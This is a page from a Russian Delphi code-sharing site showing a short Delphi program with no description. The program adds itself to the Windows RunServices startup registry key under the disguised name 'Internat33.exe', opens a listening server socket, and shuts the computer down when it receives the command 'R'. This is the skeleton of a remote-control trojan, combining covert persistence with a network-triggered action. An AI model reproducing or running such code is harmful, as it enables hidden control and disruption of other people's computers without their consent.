}

Delphi.int.ru — Портал программистов

Вход Регистрация | Забыли пароль?

Просмотр кода

Идентификатор: fca0d4e4 Описание: Код загружен: 13 июля 2011, 19:20 (Моисеев Евгений Леонидович)

  1. unit Unit11;
  2.  
  3. interface
  4.  
  5. uses
  6. Registry,MMSystem, Classes, ScktComp , Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
  7. Dialogs;
  8.  
  9. type
  10. TForm11 = class(TForm)
  11. ServerSocket1: TServerSocket;
  12. procedure FormCreate(Sender: TObject);
  13. procedure FormDestroy(Sender: TObject);
  14. procedure ServerSocket1ClientRead(Sender: TObject;
  15. Socket: TCustomWinSocket);
  16. private
  17. { Private declarations }
  18. public
  19. { Public declarations }
  20. end;
  21.  
  22. var
  23. Form11: TForm11;
  24.  
  25. implementation
  26.  
  27. {$R *.dfm}
  28.  
  29. procedure TForm11.FormCreate(Sender: TObject);
  30. var Regini:TRegIniFile;
  31. begin
  32. Regini:=TRegIniFile.Create('Software');
  33. RegIni.RootKey:=HKEY_LOCAL_MACHINE;
  34. RegIni.OpenKey('Software', true);
  35. RegIni.OpenKey('Microsoft', true);
  36. RegIni.OpenKey('Windows', true);
  37. RegIni.OpenKey('CurrentVersion', True);
  38. RegIni.WriteString('RunServices' , 'Internat33.exe' ,Application.ExeName);
  39. RegIni.Free;
  40. ServerSocket1.Active:=true;
  41. end;
  42.  
  43. procedure TForm11.FormDestroy(Sender: TObject);
  44. begin
  45. ServerSocket1.Active:=false;
  46. end;
  47.  
  48. procedure TForm11.ServerSocket1ClientRead(Sender: TObject;
  49. Socket: TCustomWinSocket);
  50. begin
  51. if Socket.ReceiveText ='R' then
  52. ExitWindowsEx(EWX_SHUTDOWN,0);
  53. end;
  54.  
  55. end.

Ссылка на данный код:

На главную страницу сервиса обмена кодом »